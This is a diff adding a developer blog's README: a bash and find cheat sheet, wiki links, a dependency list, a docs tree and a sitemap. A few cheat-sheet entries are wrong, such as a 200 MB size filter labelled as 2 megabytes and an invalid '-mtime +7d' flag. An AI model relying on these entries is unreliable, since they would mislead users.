+  shell commands
+}
+
+unset -f functname  # deletes a function definition
+declare -f          # displays all defined functions in your login session
+
+
+## FLOW CONTROLS
+
+
+statement1 && statement2  # and operator
+statement1 || statement2  # or operator
+
+-a                        # and operator inside a test conditional expression
+-o                        # or operator inside a test conditional expression
+
+## STRINGS
+
+str1 == str2               # str1 matches str2
+str1 != str2               # str1 does not match str2
+str1 < str2                # str1 is less than str2 (alphabetically)
+str1 > str2                # str1 is greater than str2 (alphabetically)
+str1 \> str2               # str1 is sorted after str2
+str1 \< str2               # str1 is sorted before str2
+-n str1                    # str1 is not null (has length greater than 0)
+-z str1                    # str1 is null (has length 0)
+
+## FILES
+
+-a file                   # file exists or its compilation is successful
+-d file                   # file exists and is a directory
+-e file                   # file exists; same -a
+-f file                   # file exists and is a regular file (i.e., not a directory or other special type of file)
+-r file                   # you have read permission
+-s file                   # file exists and is not empty
+-w file                   # your have write permission
+-x file                   # you have execute permission on file, or directory search permission if it is a directory
+-N file                   # file was modified since it was last read
+-O file                   # you own file
+-G file                   # file's group ID matches yours (or one of yours, if you are in multiple groups)
+file1 -nt file2           # file1 is newer than file2
+file1 -ot file2           # file1 is older than file2
+
+## NUMBERS
+
+-lt                       # less than
+-le                       # less than or equal
+-eq                       # equal
+-ge                       # greater than or equal
+-gt                       # greater than
+-ne                       # not equal
+
+if condition
+then
+  statements
+[elif condition
+  then statements...]
+[else
+  statements]
+fi
+
+for x in {1..10}
+do
+  statements
+done
+
+for name [in list]
+do
+  statements that can use $name
+done
+
+for (( initialisation ; ending condition ; update ))
+do
+  statements...
+done
+
+case expression in
+  pattern1 )
+    statements ;;
+  pattern2 )
+    statements ;;
+esac
+
+select name [in list]
+do
+  statements that can use $name
+done
+
+while condition; do
+  statements
+done
+
+until condition; do
+  statements
+done
+
+
+## COMMAND-LINE PROCESSING CYCLE
+
+
+## The default order for command lookup is functions, followed by built-ins, with scripts and executables last.
+## There are three built-ins that you can use to override this order: `command`, `builtin` and `enable`.
+
+command  # removes alias and function lookup. Only built-ins and commands found in the search path are executed
+builtin  # looks up only built-in commands, ignoring functions and commands found in PATH
+enable   # enables and disables shell built-ins
+
+eval     # takes arguments and run them through the command-line processing steps all over again
+
+
+## INPUT/OUTPUT REDIRECTORS
+
+
+cmd1|cmd2  # pipe; takes standard output of cmd1 as standard input to cmd2
+< file     # takes standard input from file
+> file     # directs standard output to file
+>> file    # directs standard output to file; append to file if it already exists
+>|file     # forces standard output to file even if noclobber is set
+n>|file    # forces output to file from file descriptor n even if noclobber is set
+<> file    # uses file as both standard input and standard output
+n<>file    # uses file as both input and output for file descriptor n
+n>file     # directs file descriptor n to file
+n<file     # takes file descriptor n from file
+n>>file    # directs file description n to file; append to file if it already exists
+n>&        # duplicates standard output to file descriptor n
+n<&        # duplicates standard input from file descriptor n
+n>&m       # file descriptor n is made to be a copy of the output file descriptor
+n<&m       # file descriptor n is made to be a copy of the input file descriptor
+&>file     # directs standard output and standard error to file
+<&-      # closes the standard input
+>&-      # closes the standard output
+n>&-     # closes the ouput from file descriptor n
+n<&-     # closes the input from file descripor n
+
+|tee <file># output command to both terminal and a file (-a to append to file)
+
+
+## PROCESS HANDLING
+
+
+## To suspend a job, type CTRL+Z while it is running. You can also suspend a job with CTRL+Y.
+## This is slightly different from CTRL+Z in that the process is only stopped when it attempts to read input from terminal.
+## Of course, to interrupt a job, type CTRL+C.
+
+myCommand &  # runs job in the background and prompts back the shell
+
+jobs         # lists all jobs (use with -l to see associated PID)
+
+fg           # brings a background job into the foreground
+fg %+        # brings most recently invoked background job
+fg %-      # brings second most recently invoked background job
+fg %N        # brings job number N
+fg %string   # brings job whose command begins with string
+fg %?string  # brings job whose command contains string
+
+kill -l               # returns a list of all signals on the system, by name and number
+kill PID              # terminates process with specified PID
+kill -s SIGKILL 4500  # sends a signal to force or terminate the process
+kill -15 913          # Ending PID 913 process with signal 15 (TERM)
+kill %1               # Where %1 is the number of job as read from 'jobs' command.
+
+ps           # prints a line of information about the current running login shell and any processes running under it
+ps -a        # selects all processes with a tty except session leaders
+
+trap cmd sig1 sig2  # executes a command when a signal is received by the script
+trap "" sig1 sig2   # ignores that signals
+trap - sig1 sig2    # resets the action taken when the signal is received to the default
+
+disown <PID|JID>    # removes the process from the list of jobs
+
+wait                # waits until all background jobs have finished
+sleep <number>      # wait # of seconds before continuing
+
+pv                  # display progress bar for data handling commands. often used with pipe like |pv
+yes                 # give yes response everytime an input is requested from script/process
+
+
+## TIPS & TRICKS
+
+
+## set an alias
+cd; nano .bash_profile
+> alias gentlenode='ssh admin@gentlenode.com -p 3404'  # add your alias in .bash_profile
+
+## to quickly go to a specific directory
+cd; nano .bashrc
+> shopt -s cdable_vars
+> export websites="/Users/mac/Documents/websites"
+
+source .bashrc
+cd $websites
+
+
+## DEBUGGING SHELL PROGRAMS
+
+
+bash -n scriptname  # don't run commands; check for syntax errors only
+set -o noexec       # alternative (set option in script)
+
+bash -v scriptname  # echo commands before running them
+set -o verbose      # alternative (set option in script)
+
+bash -x scriptname  # echo commands after command-line processing
+set -o xtrace       # alternative (set option in script)
+
+trap 'echo $varname' EXIT  # useful when you want to print out the values of variables at the point that your script exits
+
+function errtrap {
+  es=$?
+  echo "ERROR line $1: Command exited with status $es."
+}
+
+trap 'errtrap $LINENO' ERR  # is run whenever a command in the surrounding script or function exits with non-zero status
+
+function dbgtrap {
+  echo "badvar is $badvar"
+}
+
+trap dbgtrap DEBUG  # causes the trap code to be executed before every statement in a function or script
+## ...section of code in which the problem occurs...
+trap - DEBUG  # turn off the DEBUG trap
+
+function returntrap {
+  echo "A return occurred"
+}
+
+trap returntrap RETURN  # is executed each time a shell function or a script executed with the . or source commands finishes executing
+
+
+## COLORS AND BACKGROUNDS
+
+## note: \e or \x1B also work instead of \033
+## Reset
+Color_Off='\033[0m' # Text Reset
+
+## Regular Colors
+Black='\033[0;30m'  # Black
+Red='\033[0;31m'    # Red
+Green='\033[0;32m'  # Green
+Yellow='\033[0;33m' # Yellow
+Blue='\033[0;34m'   # Blue
+Purple='\033[0;35m' # Purple
+Cyan='\033[0;36m'   # Cyan
+White='\033[0;97m'  # White
+
+## Additional colors
+LGrey='\033[0;37m'  # Ligth Gray
+DGrey='\033[0;90m'  # Dark Gray
+LRed='\033[0;91m'   # Ligth Red
+LGreen='\033[0;92m' # Ligth Green
+LYellow='\033[0;93m'# Ligth Yellow
+LBlue='\033[0;94m'  # Ligth Blue
+LPurple='\033[0;95m'# Light Purple
+LCyan='\033[0;96m'  # Ligth Cyan
+
+## Bold
+BBlack='\033[1;30m' # Black
+BRed='\033[1;31m'   # Red
+BGreen='\033[1;32m' # Green
+BYellow='\033[1;33m'# Yellow
+BBlue='\033[1;34m'  # Blue
+BPurple='\033[1;35m'# Purple
+BCyan='\033[1;36m'  # Cyan
+BWhite='\033[1;37m' # White
+
+## Underline
+UBlack='\033[4;30m' # Black
+URed='\033[4;31m'   # Red
+UGreen='\033[4;32m' # Green
+UYellow='\033[4;33m'# Yellow
+UBlue='\033[4;34m'  # Blue
+UPurple='\033[4;35m'# Purple
+UCyan='\033[4;36m'  # Cyan
+UWhite='\033[4;37m' # White
+
+## Background
+On_Black='\033[40m' # Black
+On_Red='\033[41m'   # Red
+On_Green='\033[42m' # Green
+On_Yellow='\033[43m'# Yellow
+On_Blue='\033[44m'  # Blue
+On_Purple='\033[45m'# Purple
+On_Cyan='\033[46m'  # Cyan
+On_White='\033[47m' # White
+
+## Example of usage
+echo -e "${Green}This is GREEN text${Color_Off} and normal text"
+echo -e "${Red}${On_White}This is Red test on White background${Color_Off}"
+## option -e is mandatory, it enable interpretation of backslash escapes
+printf "${Red} This is red \n"
+
+```
+
+</details>
+
+>
+
+#### Find
+
+## To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG)
+
+find . -iname "\*.jpg"
+
+## To find directories
+
+find . -type d
+
+## To find files
+
+find . -type f
+
+## To find files by octal permission
+
+find . -type f -perm 777
+
+## To find files with setuid bit set
+
+find . -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
+
+## To find files with extension '.txt' and remove them
+
+find ./path/ -name '\*.txt' -exec rm '{}' \;
+
+## To find files with extension '.txt' and look for a string into them
+
+find ./path/ -name '\*.txt' | xargs grep 'string'
+
+## To find files with size bigger than 5 Mebibyte and sort them by size
+
+find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z
+
+## To find files bigger than 2 Megabyte and list them
+
+find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
+
+## To find files modified more than 7 days ago and list file information
+
+find . -type f -mtime +7d -ls
+
+## To find symlinks owned by a user and list file information
+
+find . -type l -user <username-or-userid> -ls
+
+## To search for and delete empty directories
+
+find . -type d -empty -exec rmdir {} \;
+
+## To search for directories named build at a max depth of 2 directories
+
+find . -maxdepth 2 -name build -type d
+
+## To search all files who are not in .git directory
+
+find . ! -iwholename '*.git*' -type f
+
+## To find all files that have the same node (hard link) as MY_FILE_HERE
+
+find . -type f -samefile MY_FILE_HERE 2>/dev/null
+
+## To find all files in the current directory and modify their permissions
+
+find . -type f -exec chmod 644 {} \;
+
+---
+
+</details>
+
+---
+
+![Preview](https://i.imgur.com/nieW1vp.png)
+
+
+## Wiki Nav
+
+
+-   [Home](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki)
+-   [add copy to code blocks.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/add-copy-to-code-blocks.md)
+-   [Add site search w algolia.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Add-site-search-w-algolia.md)
+-   [adding mailing list.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/adding-mailing-list.md)
+-   [Adding search 2 gatsby site.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Adding-search-2-gatsby-site.md)
+-   [awesome.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/awesome.md)
+-   [broken links.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/broken-links.md)
+-   [configure custom domain.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/configure-custom-domain.md)
+-   [contentauthoring.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/contentauthoring.md)
+-   [full text search w lunar.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/full-text-search-w-lunar.md)
+-   [inject 4.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject-4.md)
+-   [inject3.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject3.md)
+-   [inject4.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject4.md)
+-   [injected content part2.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-content-part2.md)
+-   [injected js part4.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-js-part4.md)
+-   [injected part3.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-part3.md)
+-   [links 2 embed.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/links-2-embed.md)
+-   [links to remember](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/links-to-remember)
+-   [Netlify Injected Content](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Netlify-Injected-Content)
+-   [old version of index.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/old-version-of-index.md)
+-   [optimize vscode.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/optimize-vscode.md)
+-   [possibly useful snippets.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/possibly-useful-snippets.md)
+-   [privacy policy.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/privacy-policy.md)
+-   [random stuff.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/random-stuff.md)
+-   [random.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/random.md)
+-   [ref type](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/ref-type)
+-   [SEO.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/SEO.md)
+-   [stable points.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/stable-points.md)
+-   [tech used.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/tech-used.md)
+-   [Technologies Used.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Technologies-Used.md)
+-   [THINGS TO EMBED.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/THINGS-TO-EMBED.md)
+-   [validation report.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/validation-report.md)
+-   [web archive.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/web-archive.md)
+-   [wordpress vs headless cms.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/wordpress-vs-headless-cms.md)
+
+
+---
+
+## Dependencies
+
+
+<details>
+  <summary>Click to expand!</summary>
+
+[![@algolia**](https://avatars.githubusercontent.com/u/2034458?s=40&v=4)](https://github.com/algolia)[algolia / algoliasearch-client-javascript](https://github.com/algolia/algoliasearch-client-javascript)@algolia/client-search
+`^ 4.10.3`
+
+[![@algolia**](https://avatars.githubusercontent.com/u/2034458?s=40&v=4)](https://github.com/algolia)[algolia / algoliasearch-client-javascript](https://github.com/algolia/algoliasearch-client-javascript)@algolia/client-common
+`4.10.5`
+
+![@ghost**](https://avatars.githubusercontent.com/u/10137?s=40&v=4)@algolia/requester-common
+`4.10.5`
+
+[![@algolia**](https://avatars.githubusercontent.com/u/2034458?s=40&v=4)](https://github.com/algolia)[algolia / algoliasearch-client-javascript](https://github.com/algolia/algoliasearch-client-javascript)@algolia/transporter
+`4.10.5`
+
+[![@stackbit**](https://avatars.githubusercontent.com/u/38996451?s=40&v=4)](https://github.com/stackbit)[stackbit / gatsby-plugin-menus](https://github.com/stackbit/gatsby-plugin-menus)@stackbit/gatsby-plugin-menus
+`0.0.4`
+
+[![@facebook**](https://avatars.githubusercontent.com/u/69631?s=40&v=4)](https://github.com/facebook)[facebook / jest](https://github.com/facebook/jest)babel-jest
+`^ 24.7.1`
+
+[![@gatsbyjs**](https://avatars.githubusercontent.com/u/12551863?s=40&v=4)](https://github.com/gatsbyjs)[gatsbyjs / gatsby](https://github.com/gatsbyjs/gatsby)babel-preset-gatsby
+`^ 0.1.11`
+
+[![@gatsbyjs**](https://avatars.githubusercontent.com/u/12551863?s=40&v=4)](https://github.com/gatsbyjs)[gatsbyjs / gatsby](https://github.com/gatsbyjs/gatsby) `^ 2.5.0`
+
+[![@keyz**](https://avatars.githubusercontent.com/u/2268452?s=40&u=c3f56fe1d943474ffe4577a82ad79c1a79d7eb6e&v=4)](https://github.com/keyz)[keyz / identity-obj-proxy](https://github.com/keyz/identity-obj-proxy) `^ 3.0.0`
+
+[![@facebook**](https://avatars.githubusercontent.com/u/69631?s=40&v=4)](https://github.com/facebook)[facebook / jest](https://github.com/facebook/jest) `^ 24.7.1`
+
+[![@lodash**](https://avatars.githubusercontent.com/u/2565403?s=40&v=4)](https://github.com/lodash)[lodash / lodash](https://github.com/lodash/lodash) `^ 4.17.11`
+
+[![@facebook**](https://avatars.githubusercontent.com/u/69631?s=40&v=4)](https://github.com/facebook)[facebook / react](https://github.com/facebook/react)react-test-renderer
+`^ 16.8.6`
+
+[![@getkirby-v2**](https://avatars.githubusercontent.com/u/6985611?s=40&v=4)](https://github.com/getkirby-v2)[getkirby-v2 / algolia-plugin](https://github.com/getkirby-v2/algolia-plugin)algolia
+`0.0.0`
+
+[![@ecomfe**](https://avatars.githubusercontent.com/u/2268460?s=40&v=4)](https://github.com/ecomfe)[ecomfe / babel-runtime](https://github.com/ecomfe/babel-runtime) `6.26.0`
+
+[![@paulmillr**](https://avatars.githubusercontent.com/u/574696?s=40&u=7f4396380d73af134b898c8eaf7bb171f448f40f&v=4)](https://github.com/paulmillr)[paulmillr / chokidar](https://github.com/paulmillr/chokidar) `3.4.0`
+
+[![@DefinitelyTyped**](https://avatars.githubusercontent.com/u/3637556?s=40&v=4)](https://github.com/DefinitelyTyped)[DefinitelyTyped / DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped)@types/node
+`^ 13`
+
+[![@micromatch**](https://avatars.githubusercontent.com/u/26890389?s=40&v=4)](https://github.com/micromatch)[micromatch / anymatch](https://github.com/micromatch/anymatch) `~ 3.1.1`
+
+[![@micromatch**](https://avatars.githubusercontent.com/u/26890389?s=40&v=4)](https://github.com/micromatch)[micromatch / braces](https://github.com/micromatch/braces) `~ 3.0.2`
+
+[![@chaijs**](https://avatars.githubusercontent.com/u/1515293?s=40&v=4)](https://github.com/chaijs)[chaijs / chai](https://github.com/chaijs/chai) `^ 4.2`
+
+[![@microsoft**](https://avatars.githubusercontent.com/u/6154722?s=40&v=4)](https://github.com/microsoft)[microsoft / dtslint](https://github.com/microsoft/dtslint) `^ 3.3.0`
+
+[![@eslint**](https://avatars.githubusercontent.com/u/6019716?s=40&v=4)](https://github.com/eslint)[eslint / eslint](https://github.com/eslint/eslint) `^ 6.6.0`
+
+[![@fsevents**](https://avatars.githubusercontent.com/u/48760001?s=40&v=4)](https://github.com/fsevents)[fsevents / fsevents](https://github.com/fsevents/fsevents) `~ 2.1.2`
+
+[![@gulpjs**](https://avatars.githubusercontent.com/u/6200624?s=40&v=4)](https://github.com/gulpjs)[gulpjs / glob-parent](https://github.com/gulpjs/glob-parent) `~ 5.1.0`
+
+[![@sindresorhus**](https://avatars.githubusercontent.com/u/170270?s=40&u=34acd557a042ac478d273a4621570cadb6b0bd89&v=4)](https://github.com/sindresorhus)[sindresorhus / is-binary-path](https://github.com/sindresorhus/is-binary-path) `~ 2.1.0`
+
+[![@micromatch**](https://avatars.githubusercontent.com/u/26890389?s=40&v=4)](https://github.com/micromatch)[micromatch / is-glob](https://github.com/micromatch/is-glob) `~ 4.0.1`
+
+[![@mochajs**](https://avatars.githubusercontent.com/u/8770005?s=40&v=4)](https://github.com/mochajs)[mochajs / mocha](https://github.com/mochajs/mocha) `^ 7.0.0`
+
+[![@jonschlinkert**](https://avatars.githubusercontent.com/u/383994?s=40&u=335f06277f72722162e89bd5516849f2e82f37cf&v=4)](https://github.com/jonschlinkert)[jonschlinkert / normalize-path](https://github.com/jonschlinkert/normalize-path) `~ 3.0.0`
+
+[![@istanbuljs**](https://avatars.githubusercontent.com/u/13523395?s=40&v=4)](https://github.com/istanbuljs)[istanbuljs / nyc](https://github.com/istanbuljs/nyc) `^ 15.0.0`
+
+[![@paulmillr**](https://avatars.githubusercontent.com/u/574696?s=40&u=7f4396380d73af134b898c8eaf7bb171f448f40f&v=4)](https://github.com/paulmillr)[paulmillr / readdirp](https://github.com/paulmillr/readdirp) `~ 3.4.0`
+
+[![@isaacs**](https://avatars.githubusercontent.com/u/9287?s=40&u=60a280618307ae965cadbe52da4baa7e351c848c&v=4)](https://github.com/isaacs)[isaacs / rimraf](https://github.com/isaacs/rimraf) `^ 3.0.0`
+
+[![@sinonjs**](https://avatars.githubusercontent.com/u/6570253?s=40&v=4)](https://github.com/sinonjs)[sinonjs / sinon](https://github.com/sinonjs/sinon) `^ 9.0.1`
+
+[![@domenic**](https://avatars.githubusercontent.com/u/617481?s=40&v=4)](https://github.com/domenic)[domenic / sinon-chai](https://github.com/domenic/sinon-chai) `^ 3.3.0`
+
+[![@anodynos**](https://avatars.githubusercontent.com/u/856453?s=40&v=4)](https://github.com/anodynos)[anodynos / upath](https://github.com/anodynos/upath) `^ 1.2.0`
+
+[![@JedWatson**](https://avatars.githubusercontent.com/u/872310?s=40&u=9548676d01f104232ee42e5ac0d985db77e6a5a4&v=4)](https://github.com/JedWatson)[JedWatson / classnames](https://github.com/JedWatson/classnames) `2.2.6`
+
+[![@bestiejs**](https://avatars.githubusercontent.com/u/802850?s=40&v=4)](https://github.com/bestiejs)[bestiejs / benchmark.js](https://github.com/bestiejs/benchmark.js)benchmark
+`^ 1.0.0`
+
+[![@browserify**](https://avatars.githubusercontent.com/u/6320506?s=40&v=4)](https://github.com/browserify)[browserify / browserify](https://github.com/browserify/browserify) `^ 14.1.0`
+
+[![@mochajs**](https://avatars.githubusercontent.com/u/8770005?s=40&v=4)](https://github.com/mochajs)[mochajs / mocha](https://github.com/mochajs/mocha) `^ 2.1.0`
+
+[![@jeromedecoster**](https://avatars.githubusercontent.com/u/158071?s=40&u=470a733fdc34a9fedab18ae4cf5109d2ea357425&v=4)](https://github.com/jeromedecoster)[jeromedecoster / opn-cli](https://github.com/jeromedecoster/opn-cli) `^ 3.1.0`
+
+[![@documentationjs**](https://avatars.githubusercontent.com/u/11415556?s=40&v=4)](https://github.com/documentationjs)[documentationjs / documentation](https://github.com/documentationjs/documentation) `^ 13.2.5`
+
+[![@babel**](https://avatars.githubusercontent.com/u/9637642?s=40&v=4)](https://github.com/babel)[babel / babel](https://github.com/babel/babel)@babel/core
+`7.12.3`
+
+↞↠ Search Website: [search](https://www.algolia.com/realtime-search-demo/web-dev-resource-hub-9e6b8aa8-6106-44c5-9f59-ff3f9531abd4) ↞↠ [Backup Repo Deploy](https://bgoonzblog20-backup.netlify.app/#gsc.tab=0) ↞↠ [Github pages](https://bgoonz.github.io/BGOONZ_BLOG_2.0/)
+
+↞↠ [Go To Site Wiki](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki)
+
+## Docs Structure
+
+
+<details>
+<summary>  Docs Structure  </summary>
+
+```
+├── blog
+│     ├── 300-react-questions.md
+│     ├── awesome-graphql.md
+│     ├── big-o-complexity.md
+│     ├── blog-archive.md
+│     ├── blogwcomments.md
+│     ├── data-structures.md
+│     ├── flow-control-in-python.md
+│     ├── functions-in-python.md
+│     ├── git-gateway.md
+│     ├── index.md
+│     ├── interview-questions-js.md
+│     ├── netlify-cms.md
+│     ├── platform-docs.md
+│     ├── python-for-js-dev.md
+│     ├── python-resources.md
+│     ├── web-dev-trends.md
+│     └── web-scraping.md
+├── docs
+│     ├── about
+│     │     ├── eng-portfolio.md
+│     │     ├── ideas-for-this-website.md
+│     │     ├── index.md
+│     │     ├── intrests.md
+│     │     ├── job-search.md
+│     │     └── resume.md
+│     ├── articles
+│     │     ├── basic-web-dev.md
+│     │     ├── buffers.md
+│     │     ├── dev-dep.md
+│     │     ├── event-loop.md
+│     │     ├── fs-module.md
+│     │     ├── how-the-web-works.md
+│     │     ├── http.md
+│     │     ├── index.md
+│     │     ├── install.md
+│     │     ├── intro.md
+│     │     ├── modules.md
+│     │     ├── nextjs.md
+│     │     ├── node-api-express.md
+│     │     ├── node-cli-args.md
+│     │     ├── node-common-modules.md
+│     │     ├── node-env-variables.md
+│     │     ├── node-js-language.md
+│     │     ├── node-package-manager.md
+│     │     ├── node-repl.md
+│     │     ├── node-run-cli.md
+│     │     ├── nodejs.md
+│     │     ├── nodevsbrowser.md
+│     │     ├── npm.md
+│     │     ├── npx.md
+│     │     ├── os-module.md
+│     │     ├── reading-files.md
+│     │     ├── semantic-html.md
+│     │     ├── semantic.md
+│     │     ├── the-uniform-resource-locator-(url).md
+│     │     ├── understanding-firebase.md
+│     │     ├── v8.md
+│     │     ├── web-standards-checklist.md
+│     │     ├── webdev-tools.md
+│     │     └── writing-files.md
+│     ├── audio
+│     │     ├── audio-feature-extraction.md
+│     │     ├── audio.md
+│     │     ├── dfft.md
+│     │     ├── discrete-fft.md
+│     │     ├── dtw-python-explained.md
+│     │     ├── dynamic-time-warping.md
+│     │     ├── index.md
+│     │     └── web-audio-api.md
+│     ├── career
+│     │     ├── dev-interview.md
+│     │     ├── index.md
+│     │     ├── interview-dos-n-donts.md
+│     │     └── job-boards.md
+│     ├── community
+│     │     ├── an-open-letter-2-future-developers.md
+│     │     ├── index.md
+│     │     └── video-chat.md
+│     ├── content
+│     │     ├── algo.md
+│     │     ├── archive.md
+│     │     ├── gatsby-Queries-Mutations.md
+│     │     ├── history-api.md
+│     │     ├── index.md
+│     │     ├── main-projects.md
+│     │     └── trouble-shooting.md
+│     ├── data-structures
+│     │     └── index.md
+│     ├── docs
+│     │     ├── appendix.md
+│     │     ├── art-of-command-line.md
+│     │     ├── bash.md
+│     │     ├── content.md
+│     │     ├── css.md
+│     │     ├── data-structures-docs.md
+│     │     ├── es-6-features.md
+│     │     ├── git-reference.md
+│     │     ├── git-repos.md
+│     │     ├── html-spec.md
+│     │     ├── index.md
+│     │     ├── markdown.md
+│     │     ├── no-whiteboarding.md
+│     │     ├── node-docs-complete.md
+│     │     ├── node-docs-full.md
+│     │     ├── regex-in-js.md
+│     │     └── sitemap.md
+│     ├── faq
+│     │     ├── contact.md
+│     │     ├── index.md
+│     │     └── plug-ins.md
+│     ├── gists.md
+│     ├── index.md
+│     ├── interact
+│     │     ├── callstack-visual.md
+│     │     ├── clock.md
+│     │     ├── index.md
+│     │     ├── jupyter-notebooks.md
+│     │     ├── other-sites.md
+│     │     └── video-chat.md
+│     ├── interview
+│     │     ├── index.md
+│     │     ├── job-search-nav.md
+│     │     └── review-concepts.md
+│     ├── javascript
+│     │     ├── arrow-functions.md
+│     │     ├── asyncjs.md
+│     │     ├── await-keyword.md
+│     │     ├── bigo.md
+│     │     ├── clean-code.md
+│     │     ├── constructor-functions.md
+│     │     ├── index.md
+│     │     ├── promises.md
+│     │     ├── review.md
+│     │     └── this-is-about-this.md
+│     ├── leetcode
+│     │     └── index.md
+│     ├── privacy-policy.md
+│     ├── projects
+│     │     ├── embeded-websites.md
+│     │     ├── index.md
+│     │     ├── list-of-projects.md
+│     │     ├── mini-projects.md
+│     │     └── my-websites.md
+│     ├── python
+│     │     ├── at-length.md
+│     │     ├── cheat-sheet.md
+│     │     ├── comprehensive-guide.md
+│     │     ├── examples.md
+│     │     ├── flow-control.md
+│     │     ├── functions.md
+│     │     ├── google-sheets-api.md
+│     │     ├── index.md
+│     │     ├── intro-for-js-devs.md
+│     │     ├── python-ds.md
+│     │     └── snippets.md
+│     ├── quick-reference
+│     │     ├── Emmet.md
+│     │     ├── all-emojis.md
+│     │     ├── create-react-app.md
+│     │     ├── git-bash.md
+│     │     ├── git-tricks.md
+│     │     ├── google-firebase.md
+│     │     ├── heroku-error-codes.md
+│     │     ├── index.md
+│     │     ├── installation.md
+│     │     ├── markdown-dropdowns.md
+│     │     ├── minifiction.md
+│     │     ├── new-repo-instructions.md
+│     │     ├── psql-setup.md
+│     │     ├── pull-request-rubric.md
+│     │     ├── quick-links.md
+│     │     ├── topRepos.md
+│     │     ├── understanding-path.md
+│     │     └── vscode-themes.md
+│     ├── react
+│     │     ├── ajax-n-apis.md
+│     │     ├── cheatsheet.md
+│     │     ├── createReactApp.md
+│     │     ├── demo.md
+│     │     ├── dont-use-index-as-keys.md
+│     │     ├── index.md
+│     │     ├── jsx.md
+│     │     ├── react-docs.md
+│     │     ├── react-in-depth.md
+│     │     ├── react2.md
+│     │     └── render-elements.md
+│     ├── reference
+│     │     ├── awesome-lists.md
+│     │     ├── awesome-static.md
+│     │     ├── bash-commands.md
+│     │     ├── bookmarks.md
+│     │     ├── embed-the-web.md
+│     │     ├── github-search.md
+│     │     ├── google-cloud.md
+│     │     ├── how-2-reinstall-npm.md
+│     │     ├── how-to-kill-a-process.md
+│     │     ├── index.md
+│     │     ├── installing-node.md
+│     │     ├── intro-to-nodejs.md
+│     │     ├── notes-template.md
+│     │     ├── psql.md
+│     │     ├── resources.md
+│     │     ├── vscode.md
+│     │     └── web-api's.md
+│     ├── search.md
+│     ├── sitemap.md
+│     ├── tips
+│     │     ├── array-methods.md
+│     │     ├── index.md
+│     │     └── insert-into-array.md
+│     ├── tools
+│     │     ├── Archive.md
+│     │     ├── data-structures.md
+│     │     ├── dev-utilities.md
+│     │     ├── index.md
+│     │     └── markdown-html.md
+│     └── tutorials
+│         ├── enviorment-setup.md
+│         └── index.md
+├── index.md
+├── privacy-policy.md
+├── readme.md
+├── showcase.md
+└── tree.md
+
+23 directories, 202 files
+
+```
+
+## SITEMAP
+
+docky ./../src/components/pages/**/*.md \ # specify the components to parse
+  --watch "./../src/components/**/*.js","./README.md" \ # watch files
+  --ignore "src/components/**/index.js" \ # ignored files
+  --use-readme=true
+
+[**🌍⇒blog🗺️**](https://bgoonz-blog.netlify.app/blog)
+
+[**🌍⇒docs🗺️**](https://bgoonz-blog.netlify.app/docs)
+
+[**🌍⇒readme🗺️**](https://bgoonz-blog.netlify.app/readme)
+
+[**🌍⇒review🗺️**](https://bgoonz-blog.netlify.app/review)
+
+[**🌍⇒showcase🗺️**](https://bgoonz-blog.netlify.app/showcase)
+
+```
+
+# SITEMAP
+
+-   [https://bgoonz-blog.netlify.app/](https://bgoonz-blog.netlify.app/)
+
+-   [https://bgoonz-blog.netlify.app/admin](https://bgoonz-blog.netlify.app/admin)
+-   [https://bgoonz-blog.netlify.app/blog](https://bgoonz-blog.netlify.app/blog)
+-   [https://bgoonz-blog.netlify.app/blog/10-essential-react-interview-questions](https://bgoonz-blog.netlify.app/blog/10-essential-react-interview-questions)
+-   [https://bgoonz-blog.netlify.app/blog/300-react-questions](https://bgoonz-blog.netlify.app/blog/300-react-questions)
+-   [https://bgoonz-blog.netlify.app/blog/adding-css-to-your-html](https://bgoonz-blog.netlify.app/blog/adding-css-to-your-html)
+-   [https://bgoonz-blog.netlify.app/blog/awesome-graphql](https://bgoonz-blog.netlify.app/blog/awesome-graphql)
+-   [https://bgoonz-blog.netlify.app/blog/beginners-guide-to-python](https://bgoonz-blog.netlify.app/blog/beginners-guide-to-python)
+-   [https://bgoonz-blog.netlify.app/blog/big-o-complexity](https://bgoonz-blog.netlify.app/blog/big-o-complexity)
